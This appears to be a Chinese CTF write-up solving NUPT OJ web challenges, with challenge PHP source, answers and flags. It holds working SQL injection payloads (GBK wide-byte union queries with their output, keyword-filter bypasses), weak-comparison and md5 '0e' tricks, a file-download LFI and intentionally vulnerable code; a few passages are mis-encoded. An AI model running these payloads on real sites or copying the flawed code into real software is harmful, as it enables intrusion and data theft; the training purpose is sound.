网络安全实验室CTF信息安全

[南邮OJ]Web

2018-01-31  本文已影响286人  JasonChiu17

签到2

地址：来源：网络攻防大赛

这题不是WEB

真的，你要相信我！这题不是WEB
传送门：题目地址.

层层递进

黑客叔叔p0tt1的题目
欢迎大家关注他的微博~
题目传送门:题目地址

<pre id="line1"><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml">  <head>  <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />  <title>SuperSo | by:p0tt1</title>  <meta name="keywords" content="SuperSo | by:p0tt1">  <meta name="Description" content="SuperSo | by:p0tt1" />  <!-- css,js -->  <style type="text/css"> *{margin:0;padding:0;}
body{background:#FFFFFF;font-size:12px;font-family:"微软雅黑";#666}

.course{width:1024px;height:680px;margin:30px auto;}
.course .course_box{width:255px;height:155px;background:#FFCC66;float:left;margin-left:1px;
    cursor:pointer;margin-bottom:20px;color:#fff;position:relative;
}
.course .course_box h3{font-size:24px;font-weight:300;text-align:center;margin-top:63px;}
.course .course_box p{width:255px;height:155px;position:absolute;left:0;top:0;padding:10px;background:#000;opacity:0.5;
                        filter:alpha(opacity=50);display:none;  
}
.course .course_box p span{display:block;margin-top:2px;padding:2px;}
.course .course_box p .course_title{font-size:22px;}
.course .tz_blue{background:#2d8af1;}
.course .tz_red{background:#D44825;}
.course .tz_gray{background:#666;}
.course .tz_org{background:#ff6e1a;}
.course .tz_lv{background:#0cc5e7;}
.course .tz_qing{background:#64d500;}
.course .tz_yellow{background:#d5c300;} 
.course .tz_blue{background:#2d8af1;}
.course .tz_bluees{background:#2a45f1;}
.course .tz_redd{background:#D44835;}
.course .tz_grayy{background:black;}
.course .tz_orgg{background:#ff6e4a;}
.course .tz_lvv{background:#0cc5a7;}
.course .tz_qingg{background:#64c500;}
.course .tz_yelloww{background:#d45300;}
.course .tz_bluee{background:#2ddff1;} 
</style>  
<link href="[css/animate.min.css](view-source:http://chinalover.sinaapp.com/web3/css/animate.min.css)" rel="stylesheet" type="text/css">
</link>  
</head>  
<body>  
<body style="overflow:auto;">  
<iframe runat="server" src="[SO.html](view-source:http://chinalover.sinaapp.com/web3/SO.html)" width="100%" height="237" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no" allowtransparency="yes">
</iframe>  
<iframe runat="server" src="[http://www.lunzhiyu.com](view-source:http://www.lunzhiyu.com/)" width="100%" height="3800" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no" allowtransparency="yes">
</iframe> 
</body>  
</html>
</pre>

<pre id="line1"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">  <HTML><HEAD><TITLE>有人偷偷先做题，哈哈飞了吧？</TITLE>  <META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312">  <STYLE type="text/css"> BODY { font: 9pt/12pt 宋体 }
  H1 { font: 12pt/15pt 宋体 }
  H2 { font: 9pt/12pt 宋体 }
  A:link { color: red }
  A:visited { color: maroon } </STYLE>  </HEAD><BODY>  <center>  <TABLE width=500 border=0 cellspacing=10><TR><TD>  <!-- Placed at the end of the document so the pages load faster -->  <!--  
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->  
<p>来来来，听我讲个故事：</p>  
<ul>  
<li>从前，我是一个好女孩，我喜欢上了一个男孩小A。</li>  
<li>有一天，我终于决定要和他表白了！话到嘴边，鼓起勇气... </li>  
<li>可是我却又害怕的<a href="javascript:history.back(1)">后退</a>了。。。</li>  
</ul>  <h2>为什么？
<br>为什么我这么懦弱？</h2>  
<hr>  
<p>最后，他居然向我表白了，好开森...说只要骗足够多的笨蛋来这里听这个蠢故事浪费时间，</p>  
<p>他就同意和我交往！</p>  
<p>谢谢你给出的一份支持！哇哈哈\(^o^)/~！</p>  
</TD></TR></TABLE>  
</center>  
</BODY></HTML></pre>

单身二十年

这题可以靠技术也可以靠手速！
老夫单身二十年，自然靠的是手速！
题目地址：撸了他！

<pre id="line1"><html>  
<head>  
<meta http-equiv="content-type" content="text/html;charset=utf-8">  
</head>  
<body>  
<a href="[./search_key.php](view-source:http://chinalover.sinaapp.com/web8/search_key.php)">_到这里找key__</a>  
</body>  
</html>
</pre>

<script>window.location="./no_key_is_here_forever.php"; </script>
key is : nctf{yougotit_script_now}
- nctf{yougotit_script_now}
___

综合题

题目地址：tip:bash

1bc29b36f623ba82aaf6724fd3b16718.php

zip -r flagbak.zip ./*

flag is:nctf{bash_history_means_what}

pass check

核心源码

<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

传送门：题目地址

2.应该这样构建pass[]=123


Header

头啊！！头啊！！！
传送门: 点我咯

文件包含

没错 这就是传说中的LFI
传送门点我带你飞
TIPS:http://drops.wooyun.org/tips/3827

单身一百年也没用

是的。。这一题你单身一百年也没用
传送门：biu~

Download~!

想下啥就下啥别下音乐，不骗你，试试下载其他东西
真·奥义·传送：点我

<pre id="line1">  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
<title>Game 19</title>  
<link href="[templatemo_style.css](view-source:http://way.nuptzj.cn/web6/templatemo_style.css)" rel="stylesheet" type="text/css" />  
</head>  <body>  
<div id="templatemo_container">  <div id="templatemo_header">  <div id="website_title">  </div>  </div>  <div id="templatemo_menu">  
<ul>  <li><a href="[#](view-source:http://way.nuptzj.cn/web6/#)" class="current">Tips</a></li>  <li><b>down</b></li>  
</ul>  </div>  
<div id="templatemo_content_wrapper">  <div id="templatemo_content">  <div class="content_title_01">听会歌吧</div>  <div class="horizontal_divider_01">&nbsp;</div>  <
div class="cleaner">&nbsp;
</div>  
<p>为了让大家更轻松的比赛，为大家准备了两首歌让大家下载</p>  
<p><a href="[download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=](view-source:http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=)" target="_blank">星星点灯</a>
</p>  <p>
<a href="[download.php?url=YnV4aWFuZ3poYW5nZGEubXAz](view-source:http://way.nuptzj.cn/web6/download.php?url=YnV4aWFuZ3poYW5nZGEubXAz)" target="_blank">不想长大</a>
</p>  
<div class="cleaner">&nbsp;
</div>  
</div>  
<div class="cleaner">&nbsp;</div>  
</div>  <div id="templatemo_footer">  
</div>  </div>  </body>  </html></pre>

??<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
    $file_size = filesize($url);
    header ( "Pragma: public" );
    header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
    header ( "Cache-Control: private", false );
    header ( "Content-Transfer-Encoding: binary" );
    header ( "Content-Type:audio/mpeg MP3");
    header ( "Content-Length: " . $file_size);
    header ( "Content-Disposition: attachment; filename=".$url);
    echo(file_get_contents($url));
    exit;
}
else {
    echo "Access Forbidden!";
}
?>

?<?php
//flag:nctf{download_any_file_666}
?>

COOKIE

COOKIE就是甜饼的意思~
地址：传送门

TIP:
0==not


MYSQL

不能每一题都这么简单嘛
你说是不是？
题目地址

鍒お寮€蹇冿紝flag涓嶅湪杩欙紝杩欎釜鏂囦欢鐨勭敤閫斾綘鐪嬪畬浜嗭紵
鍦–TF姣旇禌涓紝杩欎釜鏂囦欢寰€寰€瀛樻斁鐫€鎻愮ず淇℃伅

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

the flag is:nctf{query_in_mysql}

md5 collision

源码

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

传送门：题目地址

please input a

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

nctf{md5_collision_is_easy}

bypass again

地址：依旧是弱类型

来源 hctf

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
Flag: nctf{php_is_so_cool}

PHP是世界上最好的语言

听说PHP是世界上最好的语言
地址：题目地址

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

Access granted!

flag: nctf{php_is_best_language}


Can you authenticate to this website? index.txt

SQL注入1

听说你也会注入？
地址： 题目地址

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

SQLstr = "select    *    from abc_table where user_name = ' " . $user_name . " ' ";   
可以改写成
SQLstr = "select    *    from abc_table where user_name = ' $user_name ' ";

/x00

题目地址：题目有多种解法，你能想出来几种？

 view-source:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年，继续努力吧啊~';
    }

变量覆盖

听说过变量覆盖么？
地址： 题目地址

 <?php
include("secret.php");
?>
<html>
    <head>
        <title>The Ducks</title>
        <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
    </head>
    <body>
        <div class="container">
            <div class="jumbotron">
                <center>
                    <h1>The Ducks</h1>
                    <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
                        extract($_POST);
                        if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php echo $theflag; ?></code>
                            </div>
                        <?php } ?>
                    <?php } ?>
                    <form action="." method="POST">
                        <div class="row">
                            <div class="col-md-6 col-md-offset-3">
                                <div class="row">
                                    <div class="col-md-9">
                                        <input type="password" class="form-control" name="pass" placeholder="Password" />
                                    </div>
                                    <div class="col-md-3">
                                        <input type="submit" class="btn btn-primary" value="Submit" />
                                    </div>
                                </div>
                            </div>
                        </div>
                    </form>
                </center>
            </div>
            <p>
                <center>
                    source at <a href="source.php" target="_blank">/source.php</a>
                </center>
            </p>
        </div>
    </body>
</html> 

 <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
                        extract($_POST);
                        if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php echo $theflag; ?>

上传绕过

题目地址：猜猜代码怎么写的

1. filename=1.png
2. uppath=/uploads/1.png

1. filename=download.php
2. uppath=/uploads/download.php

1. filename
2. 上传路径：/uploads/

1. filename=download.jpg
2. uppath=/uploads/dowload.phpdownload.jpg
3. upfilename=path & filename

起名字真难

地址：代码如下

<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

sql injection 3

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1'
your sql:select id,title from news where id = '1\''
Hello World!OVO
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'
your sql:select id,title from news where id = '1運''

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=1 -- -
your sql:select id,title from news where id = '1運' and 1=1 -- -'
Hello World!OVO
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=2 -- -
your sql:select id,title from news where id = '1運' and 1=2 -- -'
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 2 -- -
your sql:select id,title from news where id = '1運' order by 2 -- -'
Hello World!OVO
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=2 union select 1,2 -- -
your sql:select id,title from news where id = '1運' and 1=2 union select 1,2 -- -'
2
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=2 union select 1,concat_ws(0x7c,user(),database(),version()) -- -
your sql:select id,title from news where id = '1運' and 1=2 union select 1,concat_ws(0x7c,user(),database(),version()) -- -'
sae-chinalover@220.181.129.119|sae-chinalover|5.5.52-0ubuntu0.14.04.1
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sae-chinalover'-- -
your sql:select id,title from news where id = '1運' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=\'sae-chinalover\'-- -'

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10

单引号‘’被转义了

  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572-- -

sae-chinalover十六进制是0x7361652d6368696e616c6f766572，用十六进制来绕过字符转义

your sql:select id,title from news where id = '1運' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572-- -'
ctf,ctf2,ctf3,ctf4,news
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632 and table_schema=0x7361652d6368696e616c6f766572-- -
your sql:select id,title from news where id = '1運' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632 and table_schema=0x7361652d6368696e616c6f766572-- -'
id,content
  1. http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=2 union select 1,group_concat(id,content) from ctf2-- -
your sql:select id,title from news where id = '1運' and 1=2 union select 1,group_concat(id,content) from ctf2-- -'
1020no msg in 1020,1021no msg in 1021 too,1022no msg in 1022,1023no msg in 1023~~~,1024the flag is:nctf{query_in_mysql},1025no more

密码重置

重置管理员账号：admin 的密码

你在点击忘记密码之后 你的邮箱收到了这么一封重置密码的邮件：

点击此链接重置您的密码

sql injection 4

继续注入吧~
题目地址

TIP:反斜杠可以用来转义
仔细查看相关函数的用法

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;
-->
Invalid password!

你从哪里来

你是从 google 来的吗？
传送门：题目地址

<?php
$referer = $_SERVER['referer'];
if ($referer === "https://www.google.com/ " || $referer === "https://www.google.com"){
    echo "nctf{http_referer}";
}else{
    echo "are you from google?";
}
?>

AAencode

javascript aaencode

传送门：题目地址

php 反序列化

http://115.28.150.176/php1/index.php
代码：

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

SQL注入2

注入第二题~~主要考察union查询
传送门:点我带你飞

<html>
<head>
Secure Web Login II
</head>
<body>

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>


<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

1.  $pass = md5($_POST[pass]);
2.  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
3.  strcasecmp():如果两者相等，返回 0。

1. and 0=1使前面的select pw from ctf where user='$user'为假，返回空。
2. 整个语句就返回md5(123)给$query
3. 这样就绕开了查询数据库，直接我们赋值给$query

综合题2

非xss题 但是欢迎留言~
地址：get the flag

1. 可以用php://filter
2. 这个file参数就是用来查看源码的，可以直接file=about.php查看

about.php源码：

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<?php 
$file=$_GET['file']; 
if($file=="" || strstr($file,'config.php')){
 echo "file参数不能为空！"; 
exit(); 
}
else{ 
$cut=strchr($file,"loginxlcteam");
 if($cut==false){ 
$data=file_get_contents($file); 
$date=htmlspecialchars($data); 
echo $date; 
}
else{ 
echo "<script>alert('敏感目录，禁止查看！但是。。。')
</script>"; } 
}

1. strstr() 函数搜索字符串在另一字符串中的第一次出现。如果未找到所搜索的字符串，则返回 FALSE。
2. strchr() 函数是 strstr() 函数的别名。
3. (a): file=config.php或者空，就返回"file参数不能为空！"
   (b): file=loginxlcteam，返回"敏感目录，禁止查看！但是。。。"

1.搜索栏可以SQL注入,拿管理员账号密码
2.getshell

1. SQL注入
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>搜索留言</title> 
</head> 
<body> 
<center> 
<div id="say" name="say" align="left" style="width:1024px"> 
<?php 
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ 
echo '万恶滴黑阔，本功能只有用本公司开发的浏览器才可以用喔~'; 
exit(); 
} 
$id=$_POST['soid']; 
include 'config.php'; 
include 'antiinject.php'; 
include 'antixss.php'; 
$id=antiinject($id); 
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库！！".mysql_error()); 
mysql_select_db($db_name,$con); 
$id=mysql_real_escape_string($id); 
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result); 
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result); 
mysql_free_result($file); 
mysql_close($con); 
?> 
</div> 
</center> 
</body> 
</html>

<?php 
function antiinject($content){ 
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); 
$info=strtolower($content); 
for($i=0;$i<=count($keyword);$i++){ 
$info=str_replace($keyword[$i], '',$info); 
} 
return $info; } 
?>

1. soid=2/**/oorroorrderder/**/by/**/4
2. soid=1/**/aandnd/**/1>2/**/uunionnion/**/sselectelect/**/1,2,3,4
或：soid=0/**/uunionnion/**/sselectelect/**/1,2,3,4
3. soid=1/**/aandnd/**/1>2/**/uunionnion/**/sselectelect/**/1,concat_ws(0x7c,id,usernnameame,userppassass),3,4/**/ffromrom/**/aadmindmin

得到：1|admin|102 117 99 107 114 117 110 116 117

2. 开始登陆, Getshell

密码重置2

题题被秒，当时我就不乐意了！
本题来源于CUMT
题目链接

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器，并且异常退出会留下备份文件
3.弱类型bypass


<pre id="line1"><!DOCTYPE html>  
<html>  <head>  
<meta charset="utf-8" />  
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />  
<meta name="renderer" content="webkit" />  
<meta name="admin" content="admin@nuptzj.cn" />  
<meta name="editor" content="Vim" />  
<title>logic</title>  
<style type="text/css"> body,html{
            position: relative;
            height: 100%;
            width: 100%;
            padding: 0;
            margin: 0;
            background-color: #272822;
            color: #fff;
        }
        form{
            position: absolute;
            top: 50%;
            left: 50%;
            width: 400px;
            margin: -70px -200px;
        }
        form input{
            display: block;
            margin: 10px auto;
            width: 100%;
            border: none;
            height: 2rem;
            border-radius: 5px;
        } </style>  </head>  <body>  
<form action="[submit.php](view-source:http://nctf.nuptzj.cn/web14/submit.php)" method="GET">  
<h1>找回管理员密码</h1> email:<input name="emailAddress" type="text" />
</br> token:<input name="token" type="text" />
</br>  <input type="submit" value="提交">  
</form>  </body>  </html>  </pre>

1.http://nctf.nuptzj.cn/web14/.index.php.swp----Not Found
2.http://nctf.nuptzj.cn/web14/.submit.php.swp---Success


........杩欎竴琛屾槸鐪佺暐鐨勪唬鐮�........

/*
濡傛灉鐧诲綍閭鍦板潃涓嶆槸绠＄悊鍛樺垯 die()
鏁版嵁搴撶粨鏋�

--
-- 琛ㄧ殑缁撴瀯 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 杞瓨琛ㄤ腑鐨勬暟鎹� `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****涓嶅彲瑙�***', '***涓嶅彲瑙�***', 0);
*/


........杩欎竴琛屾槸鐪佺暐鐨勪唬鐮�........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "澶辫触浜嗗憖";
    }
}
    

if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');

注入实战1

请使用firefox浏览器，并安装hackbar插件（自行百度并熟悉）
目标网址：地址
flag为管理员密码的32位md5(小写)
并且加上nctf{}

手注教程群里面发过。
看不懂的话自行百度"mysql手动注入"查阅相关文章

PS:用sqlmap等工具做的就不要厚脸皮提交了

上一篇 下一篇

猜你喜欢

热点阅读